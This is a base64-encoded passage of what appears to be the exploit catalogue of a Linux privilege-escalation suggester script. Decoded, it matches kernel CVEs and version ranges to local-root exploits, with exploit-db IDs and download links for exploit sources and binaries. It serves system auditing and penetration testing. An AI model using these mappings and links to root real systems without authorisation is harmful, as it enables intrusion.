ZXJuZWwsdmVyPj0yLjYuMTMsdmVyPD0yLjYuMTcKVGFnczoKUmFuazogMQpleHBsb2l0LWRiOiAyMDExCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMDYtMzYyNl0ke3R4dHJzdH0gaDAwbHlzaGl0ClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuOCx2ZXI8PTIuNi4xNgpUYWdzOgpSYW5rOiAxCmJpbi11cmw6IGh0dHBzOi8vd2ViLmFyY2hpdmUub3JnL3dlYi8yMDExMTEwMzA0MjkwNC9odHRwOi8vdGFyYW50dWxhLmJ5LnJ1L2xvY2Fscm9vdC8yLjYueC9oMDBseXNoaXQKZXhwbG9pdC1kYjogMjAxMwpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA4LTA2MDBdJHt0eHRyc3R9IHZtc3BsaWNlMQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjE3LHZlcjw9Mi42LjI0ClRhZ3M6ClJhbms6IDEKZXhwbG9pdC1kYjogNTA5MgpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA4LTA2MDBdJHt0eHRyc3R9IHZtc3BsaWNlMgpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjIzLHZlcjw9Mi42LjI0ClRhZ3M6ClJhbms6IDEKZXhwbG9pdC1kYjogNTA5MwpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA4LTQyMTBdJHt0eHRyc3R9IGZ0cmV4ClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMTEsdmVyPD0yLjYuMjIKVGFnczoKUmFuazogMQpleHBsb2l0LWRiOiA2ODUxCkNvbW1lbnRzOiB3b3JsZC13cml0YWJsZSBzZ2lkIGRpcmVjdG9yeSBhbmQgc2hlbGwgdGhhdCBkb2VzIG5vdCBkcm9wIHNnaWQgcHJpdnMgdXBvbiBleGVjIChhc2gvc2FzaCkgYXJlIHJlcXVpcmVkCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMDgtNDIxMF0ke3R4dHJzdH0gZXhpdF9ub3RpZnkKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4yNSx2ZXI8PTIuNi4yOQpUYWdzOgpSYW5rOiAxCmV4cGxvaXQtZGI6IDgzNjkKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwOS0yNjkyXSR7dHh0cnN0fSBzb2NrX3NlbmRwYWdlIChzaW1wbGUgdmVyc2lvbikKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4wLHZlcjw9Mi42LjMwClRhZ3M6IHVidW50dT03LjEwLFJIRUw9NCxmZWRvcmE9NHw1fDZ8N3w4fDl8MTB8MTEKUmFuazogMQpleHBsb2l0LWRiOiA5NDc5CkNvbW1lbnRzOiBXb3JrcyBmb3Igc3lzdGVtcyB3aXRoIC9wcm9jL3N5cy92bS9tbWFwX21pbl9hZGRyIGVxdWFsIHRvIDAKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwOS0yNjkyLENWRS0yMDA5LTE4OTVdJHt0eHRyc3R9IHNvY2tfc2VuZHBhZ2UKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4wLHZlcjw9Mi42LjMwClRhZ3M6IHVidW50dT05LjA0ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL3hvcmwud29yZHByZXNzLmNvbS8yMDA5LzA3LzE2L2N2ZS0yMDA5LTE4OTUtbGludXgta2VybmVsLXBlcl9jbGVhcl9vbl9zZXRpZC1wZXJzb25hbGl0eS1ieXBhc3MvCnNyYy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9vZmZlbnNpdmUtc2VjdXJpdHkvZXhwbG9pdC1kYXRhYmFzZS1iaW4tc3Bsb2l0cy9yYXcvbWFzdGVyL2Jpbi1zcGxvaXRzLzk0MzUudGd6CmV4cGxvaXQtZGI6IDk0MzUKQ29tbWVudHM6IC9wcm9jL3N5cy92bS9tbWFwX21pbl9hZGRyIG5lZWRzIHRvIGVxdWFsIDAgT1IgcHVsc2VhdWRpbyBuZWVkcyB0byBiZSBpbnN0YWxsZWQKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwOS0yNjkyLENWRS0yMDA5LTE4OTVdJHt0eHRyc3R9IHNvY2tfc2VuZHBhZ2UyClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMCx2ZXI8PTIuNi4zMApUYWdzOiAKUmFuazogMQpzcmMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vb2ZmZW5zaXZlLXNlY3VyaXR5L2V4cGxvaXQtZGF0YWJhc2UtYmluLXNwbG9pdHMvcmF3L21hc3Rlci9iaW4tc3Bsb2l0cy85NDM2LnRnegpleHBsb2l0LWRiOiA5NDM2CkNvbW1lbnRzOiBXb3JrcyBmb3Igc3lzdGVtcyB3aXRoIC9wcm9jL3N5cy92bS9tbWFwX21pbl9hZGRyIGVxdWFsIHRvIDAKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwOS0yNjkyLENWRS0yMDA5LTE4OTVdJHt0eHRyc3R9IHNvY2tfc2VuZHBhZ2UzClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMCx2ZXI8PTIuNi4zMApUYWdzOiAKUmFuazogMQpzcmMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vb2ZmZW5zaXZlLXNlY3VyaXR5L2V4cGxvaXQtZGF0YWJhc2UtYmluLXNwbG9pdHMvcmF3L21hc3Rlci9iaW4tc3Bsb2l0cy85NjQxLnRhci5negpleHBsb2l0LWRiOiA5NjQxCkNvbW1lbnRzOiAvcHJvYy9zeXMvdm0vbW1hcF9taW5fYWRkciBuZWVkcyB0byBlcXVhbCAwIE9SIHB1bHNlYXVkaW8gbmVlZHMgdG8gYmUgaW5zdGFsbGVkCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMDktMjY5MixDVkUtMjAwOS0xODk1XSR7dHh0cnN0fSBzb2NrX3NlbmRwYWdlIChwcGMpClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMCx2ZXI8PTIuNi4zMApUYWdzOiB1YnVudHU9OC4xMCxSSEVMPTR8NQpSYW5rOiAxCmV4cGxvaXQtZGI6IDk1NDUKQ29tbWVudHM6IC9wcm9jL3N5cy92bS9tbWFwX21pbl9hZGRyIG5lZWRzIHRvIGVxdWFsIDAKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwOS0yNjk4XSR7dHh0cnN0fSB0aGUgcmViZWwgKHVkcF9zZW5kbXNnKQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjEsdmVyPD0yLjYuMTkKVGFnczogZGViaWFuPTQKUmFuazogMQpzcmMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vb2ZmZW5zaXZlLXNlY3VyaXR5L2V4cGxvaXQtZGF0YWJhc2UtYmluLXNwbG9pdHMvcmF3L21hc3Rlci9iaW4tc3Bsb2l0cy85NTc0LnRnegpleHBsb2l0LWRiOiA5NTc0CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9ibG9nLmNyMC5vcmcvMjAwOS8wOC9jdmUtMjAwOS0yNjk4LXVkcHNlbmRtc2ctdnVsbmVyYWJpbGl0eS5odG1sCmF1dGhvcjogc3BlbmRlcgpDb21tZW50czogL3Byb2Mvc3lzL3ZtL21tYXBfbWluX2FkZHIgbmVlZHMgdG8gZXF1YWwgMCBPUiBwdWxzZWF1ZGlvIG5lZWRzIHRvIGJlIGluc3RhbGxlZApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA5LTI2OThdJHt0eHRyc3R9IGhvYWdpZV91ZHBfc2VuZG1zZwpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjEsdmVyPD0yLjYuMTkseDg2ClRhZ3M6IGRlYmlhbj00ClJhbms6IDEKZXhwbG9pdC1kYjogOTU3NQphbmFseXNpcy11cmw6IGh0dHBzOi8vYmxvZy5jcjAub3JnLzIwMDkvMDgvY3ZlLTIwMDktMjY5OC11ZHBzZW5kbXNnLXZ1bG5lcmFiaWxpdHkuaHRtbAphdXRob3I6IGFuZGkKQ29tbWVudHM6IFdvcmtzIGZvciBzeXN0ZW1zIHdpdGggL3Byb2Mvc3lzL3ZtL21tYXBfbWluX2FkZHIgZXF1YWwgdG8gMApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA5LTI2OThdJHt0eHRyc3R9IGthdG9uICh1ZHBfc2VuZG1zZykKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4xLHZlcjw9Mi42LjE5LHg4NgpUYWdzOiBkZWJpYW49NApSYW5rOiAxCnNyYy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9LYWJvdC9Vbml4LVByaXZpbGVnZS1Fc2NhbGF0aW9uLUV4cGxvaXRzLVBhY2svcmF3L21hc3Rlci8yMDA5L0NWRS0yMDA5LTI2OTgva2F0b24uYwphbmFseXNpcy11cmw6IGh0dHBzOi8vYmxvZy5jcjAub3JnLzIwMDkvMDgvY3ZlLTIwMDktMjY5OC11ZHBzZW5kbXNnLXZ1bG5lcmFiaWxpdHkuaHRtbAphdXRob3I6IFZ4SGVsbCBMYWJzCkNvbW1lbnRzOiBXb3JrcyBmb3Igc3lzdGVtcyB3aXRoIC9wcm9jL3N5cy92bS9tbWFwX21pbl9hZGRyIGVxdWFsIHRvIDAKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwOS0yNjk4XSR7dHh0cnN0fSBpcF9hcHBlbmRfZGF0YQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjEsdmVyPD0yLjYuMTkseDg2ClRhZ3M6IGZlZG9yYT00fDV8NixSSEVMPTQKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vYmxvZy5jcjAub3JnLzIwMDkvMDgvY3ZlLTIwMDktMjY5OC11ZHBzZW5kbXNnLXZ1bG5lcmFiaWxpdHkuaHRtbApleHBsb2l0LWRiOiA5NTQyCmF1dGhvcjogcDBjNzNuMQpDb21tZW50czogV29ya3MgZm9yIHN5c3RlbXMgd2l0aCAvcHJvYy9zeXMvdm0vbW1hcF9taW5fYWRkciBlcXVhbCB0byAwCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMDktMzU0N10ke3R4dHJzdH0gcGlwZS5jIDEKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4wLHZlcjw9Mi42LjMxClRhZ3M6ClJhbms6IDEKZXhwbG9pdC1kYjogMzMzMjEKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwOS0zNTQ3XSR7dHh0cnN0fSBwaXBlLmMgMgpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjAsdmVyPD0yLjYuMzEKVGFnczoKUmFuazogMQpleHBsb2l0LWRiOiAzMzMyMgpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA5LTM1NDddJHt0eHRyc3R9IHBpcGUuYyAzClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMCx2ZXI8PTIuNi4zMQpUYWdzOgpSYW5rOiAxCmV4cGxvaXQtZGI6IDEwMDE4CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTAtMzMwMV0ke3R4dHJzdH0gcHRyYWNlX2ttb2QyClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMjYsdmVyPD0yLjYuMzQKVGFnczogZGViaWFuPTYuMHtrZXJuZWw6Mi42LigzMnwzM3wzNHwzNSktKDF8Mnx0cnVuayktYW1kNjR9LHVidW50dT0oMTAuMDR8MTAuMTApe2tlcm5lbDoyLjYuKDMyfDM1KS0oMTl8MjF8MjQpLXNlcnZlcn0KUmFuazogMQpiaW4tdXJsOiBodHRwczovL3dlYi5hcmNoaXZlLm9yZy93ZWIvMjAxMTExMDMwNDI5MDQvaHR0cDovL3RhcmFudHVsYS5ieS5ydS9sb2NhbHJvb3QvMi42Lngva21vZDIKYmluLXVybDogaHR0cHM6Ly93ZWIuYXJjaGl2ZS5vcmcvd2ViLzIwMTExMTAzMDQyOTA0L2h0dHA6Ly90YXJhbnR1bGEuYnkucnUvbG9jYWxyb290LzIuNi54L3B0cmFjZS1rbW9kCmJpbi11cmw6IGh0dHBzOi8vd2ViLmFyY2hpdmUub3JnL3dlYi8yMDE2MDYwMjE5MjY0MS9odHRwczovL3d3dy5rZXJuZWwtZXhwbG9pdHMuY29tL21lZGlhL3B0cmFjZV9rbW9kMi02NApleHBsb2l0LWRiOiAxNTAyMwpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDEwLTExNDZdJHt0eHRyc3R9IHJlaXNlcmZzClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMTgsdmVyPD0yLjYuMzQKVGFnczogdWJ1bnR1PTkuMTAKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vam9uLm9iZXJoZWlkZS5vcmcvYmxvZy8yMDEwLzA0LzEwL3JlaXNlcmZzLXJlaXNlcmZzX3ByaXYtdnVsbmVyYWJpbGl0eS8Kc3JjLXVybDogaHR0cHM6Ly9qb24ub2JlcmhlaWRlLm9yZy9maWxlcy90ZWFtLWVkd2FyZC5weQpleHBsb2l0LWRiOiAxMjEzMApjb21tZW50czogUmVxdWlyZXMgYSBSZWlzZXJGUyBmaWxlc3lzdGVtIG1vdW50ZWQgd2l0aCBleHRlbmRlZCBhdHRyaWJ1dGVzCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTAtMjk1OV0ke3R4dHJzdH0gY2FuX2JjbQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjE4LHZlcjw9Mi42LjM2ClRhZ3M6IHVidW50dT0xMC4wNHtrZXJuZWw6Mi42LjMyLTI0LWdlbmVyaWN9ClJhbms6IDEKYmluLXVybDogaHR0cHM6Ly93ZWIuYXJjaGl2ZS5vcmcvd2ViLzIwMTYwNjAyMTkyNjQxL2h0dHBzOi8vd3d3Lmtlcm5lbC1leHBsb2l0cy5jb20vbWVkaWEvY2FuX2JjbQpleHBsb2l0LWRiOiAxNDgxNApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDEwLTM5MDRdJHt0eHRyc3R9IHJkcwpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjMwLHZlcjwyLjYuMzcKVGFnczogZGViaWFuPTYuMHtrZXJuZWw6Mi42LigzMXwzMnwzNHwzNSktKDF8dHJ1bmspLWFtZDY0fSx1YnVudHU9MTAuMTB8OS4xMCxmZWRvcmE9MTN7a2VybmVsOjIuNi4zMy4zLTg1LmZjMTMuaTY4Ni5QQUV9LHVidW50dT0xMC4wNHtrZXJuZWw6Mi42LjMyLSgyMXwyNCktZ2VuZXJpY30KUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly93d3cuc2VjdXJpdHlmb2N1cy5jb20vYXJjaGl2ZS8xLzUxNDM3OQpzcmMtdXJsOiBodHRwOi8vd2ViLmFyY2hpdmUub3JnL3dlYi8yMDEwMTAyMDA0NDA0OC9odHRwOi8vd3d3LnZzZWN1cml0eS5jb20vZG93bmxvYWQvdG9vbHMvbGludXgtcmRzLWV4cGxvaXQuYwpiaW4tdXJsOiBodHRwczovL3dlYi5hcmNoaXZlLm9yZy93ZWIvMjAxNjA2MDIxOTI2NDEvaHR0cHM6Ly93d3cua2VybmVsLWV4cGxvaXRzLmNvbS9tZWRpYS9yZHMKYmluLXVybDogaHR0cHM6Ly93ZWIuYXJjaGl2ZS5vcmcvd2ViLzIwMTYwNjAyMTkyNjQxL2h0dHBzOi8vd3d3Lmtlcm5lbC1leHBsb2l0cy5jb20vbWVkaWEvcmRzNjQKZXhwbG9pdC1kYjogMTUyODUKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxMC0zODQ4LENWRS0yMDEwLTM4NTAsQ1ZFLTIwMTAtNDA3M10ke3R4dHJzdH0gaGFsZl9uZWxzb24KUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4wLHZlcjw9Mi42LjM2ClRhZ3M6IHVidW50dT0oMTAuMDR8OS4xMCl7a2VybmVsOjIuNi4oMzF8MzIpLSgxNHwyMSktc2VydmVyfQpSYW5rOiAxCmJpbi11cmw6IGh0dHA6Ly93ZWIuYXJjaGl2ZS5vcmcvd2ViLzIwMTYwNjAyMTkyNjMxL2h0dHBzOi8vd3d3Lmtlcm5lbC1leHBsb2l0cy5jb20vbWVkaWEvaGFsZi1uZWxzb24zCmV4cGxvaXQtZGI6IDE3Nzg3CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bTi9BXSR7dHh0cnN0fSBjYXBzX3RvX3Jvb3QKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4zNCx2ZXI8PTIuNi4zNix4ODYKVGFnczogdWJ1bnR1PTEwLjEwClJhbms6IDEKZXhwbG9pdC1kYjogMTU5MTYKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtOL0FdJHt0eHRyc3R9IGNhcHNfdG9fcm9vdCAyClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMzQsdmVyPD0yLjYuMzYKVGFnczogdWJ1bnR1PTEwLjEwClJhbms6IDEKZXhwbG9pdC1kYjogMTU5NDQKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxMC00MzQ3XSR7dHh0cnN0fSBhbWVyaWNhbi1zaWduLWxhbmd1YWdlClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMCx2ZXI8PTIuNi4zNgpUYWdzOgpSYW5rOiAxCmV4cGxvaXQtZGI6IDE1Nzc0CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTAtMzQzN10ke3R4dHJzdH0gcGt0Y2R2ZApSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjAsdmVyPD0yLjYuMzYKVGFnczogdWJ1bnR1PTEwLjA0ClJhbms6IDEKZXhwbG9pdC1kYjogMTUxNTAKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxMC0zMDgxXSR7dHh0cnN0fSB2aWRlbzRsaW51eApSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjAsdmVyPD0yLjYuMzMKVGFnczogUkhFTD01ClJhbms6IDEKZXhwbG9pdC1kYjogMTUwMjQKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxMi0wMDU2XSR7dHh0cnN0fSBtZW1vZGlwcGVyClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjAuMCx2ZXI8PTMuMS4wClRhZ3M6IHVidW50dT0oMTAuMDR8MTEuMTApe2tlcm5lbDozLjAuMC0xMi0oZ2VuZXJpY3xzZXJ2ZXIpfQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXQuengyYzQuY29tL0NWRS0yMDEyLTAwNTYvYWJvdXQvCnNyYy11cmw6IGh0dHBzOi8vZ2l0Lnp4MmM0LmNvbS9DVkUtMjAxMi0wMDU2L3BsYWluL21lbXBvZGlwcGVyLmMKYmluLXVybDogaHR0cHM6Ly93ZWIuYXJjaGl2ZS5vcmcvd2ViLzIwMTYwNjAyMTkyNjMxL2h0dHBzOi8vd3d3Lmtlcm5lbC1leHBsb2l0cy5jb20vbWVkaWEvbWVtb2RpcHBlcgpiaW4tdXJsOiBodHRwczovL3dlYi5hcmNoaXZlLm9yZy93ZWIvMjAxNjA2MDIxOTI2MzEvaHR0cHM6Ly93d3cua2VybmVsLWV4cGxvaXRzLmNvbS9tZWRpYS9tZW1vZGlwcGVyNjQKZXhwbG9pdC1kYjogMTg0MTEKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxMi0wMDU2LENWRS0yMDEwLTM4NDksQ1ZFLTIwMTAtMzg1MF0ke3R4dHJzdH0gZnVsbC1uZWxzb24KUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4wLHZlcjw9Mi42LjM2ClRhZ3M6IHVidW50dT0oOS4xMHwxMC4xMCl7a2VybmVsOjIuNi4oMzF8MzUpLSgxNHwxOSktKHNlcnZlcnxnZW5lcmljKX0sdWJ1bnR1PTEwLjA0e2tlcm5lbDoyLjYuMzItKDIxfDI0KS1zZXJ2ZXJ9ClJhbms6IDEKc3JjLXVybDogaHR0cDovL3Z1bG5mYWN0b3J5Lm9yZy9leHBsb2l0cy9mdWxsLW5lbHNvbi5jCmJpbi11cmw6IGh0dHBzOi8vd2ViLmFyY2hpdmUub3JnL3dlYi8yMDE2MDYwMjE5MjYzMS9odHRwczovL3d3dy5rZXJuZWwtZXhwbG9pdHMuY29tL21lZGlhL2Z1bGwtbmVsc29uCmJpbi11cmw6IGh0dHBzOi8vd2ViLmFyY2hpdmUub3JnL3dlYi8yMDE2MDYwMjE5MjYzMS9odHRwczovL3d3dy5rZXJuZWwtZXhwbG9pdHMuY29tL21lZGlhL2Z1bGwtbmVsc29uNjQKZXhwbG9pdC1kYjogMTU3MDQKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxMy0xODU4XSR7dHh0cnN0fSBDTE9ORV9ORVdVU0VSfENMT05FX0ZTClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPTMuOCxDT05GSUdfVVNFUl9OUz15ClRhZ3M6IApSYW5rOiAxCnNyYy11cmw6IGh0dHA6Ly9zdGVhbHRoLm9wZW53YWxsLm5ldC94U3BvcnRzL2Nsb3duLW5ld3VzZXIuYwphbmFseXNpcy11cmw6IGh0dHBzOi8vbHduLm5ldC9BcnRpY2xlcy81NDMyNzMvCmV4cGxvaXQtZGI6IDM4MzkwCmF1dGhvcjogU2ViYXN0aWFuIEtyYWhtZXIKQ29tbWVudHM6IENPTkZJR19VU0VSX05TIG5lZWRzIHRvIGJlIGVuYWJsZWQgCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTMtMjA5NF0ke3R4dHJzdH0gcGVyZl9zd2V2ZW50ClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMzIsdmVyPDMuOC45LHg4Nl82NApUYWdzOiBSSEVMPTYsdWJ1bnR1PTEyLjA0e2tlcm5lbDozLjIuMC0oMjN8MjkpLWdlbmVyaWN9LGZlZG9yYT0xNntrZXJuZWw6My4xLjAtNy5mYzE2Lng4Nl82NH0sZmVkb3JhPTE3e2tlcm5lbDozLjMuNC01LmZjMTcueDg2XzY0fSxkZWJpYW49N3trZXJuZWw6My4yLjAtNC1hbWQ2NH0KUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly90aW1ldG9ibGVlZC5jb20vYS1jbG9zZXItbG9vay1hdC1hLXJlY2VudC1wcml2aWxlZ2UtZXNjYWxhdGlvbi1idWctaW4tbGludXgtY3ZlLTIwMTMtMjA5NC8KYmluLXVybDogaHR0cHM6Ly93ZWIuYXJjaGl2ZS5vcmcvd2ViLzIwMTYwNjAyMTkyNjMxL2h0dHBzOi8vd3d3Lmtlcm5lbC1leHBsb2l0cy5jb20vbWVkaWEvcGVyZl9zd2V2ZW50CmJpbi11cmw6IGh0dHBzOi8vd2ViLmFyY2hpdmUub3JnL3dlYi8yMDE2MDYwMjE5MjYzMS9odHRwczovL3d3dy5rZXJuZWwtZXhwbG9pdHMuY29tL21lZGlhL3BlcmZfc3dldmVudDY0CmV4cGxvaXQtZGI6IDI2MTMxCmF1dGhvcjogQW5kcmVhICdzb3JibycgQml0dGF1CkNvbW1lbnRzOiBObyBTTUVQL1NNQVAgYnlwYXNzCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTMtMjA5NF0ke3R4dHJzdH0gcGVyZl9zd2V2ZW50IDIKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4zMix2ZXI8My44LjkseDg2XzY0ClRhZ3M6IHVidW50dT0xMi4wNHtrZXJuZWw6My4oMnw1KS4wLSgyM3wyOSktZ2VuZXJpY30KUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly90aW1ldG9ibGVlZC5jb20vYS1jbG9zZXItbG9vay1hdC1hLXJlY2VudC1wcml2aWxlZ2UtZXNjYWxhdGlvbi1idWctaW4tbGludXgtY3ZlLTIwMTMtMjA5NC8Kc3JjLXVybDogaHR0cHM6Ly9jeXNlY2xhYnMuY29tL2V4cGxvaXRzL3ZuaWtfdjEuYwpleHBsb2l0LWRiOiAzMzU4OQphdXRob3I6IFZpdGFseSAndm5paycgTmlrb2xlbmtvCkNvbW1lbnRzOiBObyBTTUVQL1NNQVAgYnlwYXNzCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTMtMDI2OF0ke3R4dHJzdH0gbXNyClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMTgsdmVyPDMuNy42ClRhZ3M6IApSYW5rOiAxCmV4cGxvaXQtZGI6IDI3Mjk3CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTMtMTk1OV0ke3R4dHJzdH0gdXNlcm5zX3Jvb3Rfc3Bsb2l0ClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjAuMSx2ZXI8My44LjkKVGFnczogClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vd3d3Lm9wZW53YWxsLmNvbS9saXN0cy9vc3Mtc2VjdXJpdHkvMjAxMy8wNC8yOS8xCmV4cGxvaXQtZGI6IDI1NDUwCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTMtMjA5NF0ke3R4dHJzdH0gc2VtdGV4ClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMzIsdmVyPDMuOC45ClRhZ3M6IFJIRUw9NgpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL3RpbWV0b2JsZWVkLmNvbS9hLWNsb3Nlci1sb29rLWF0LWEtcmVjZW50LXByaXZpbGVnZS1lc2NhbGF0aW9uLWJ1Zy1pbi1saW51eC1jdmUtMjAxMy0yMDk0LwpleHBsb2l0LWRiOiAyNTQ0NApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE0LTAwMzhdJHt0eHRyc3R9IHRpbWVvdXRwd24KUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTMuNC4wLHZlcjw9My4xMy4xLENPTkZJR19YODZfWDMyPXkKVGFnczogdWJ1bnR1PTE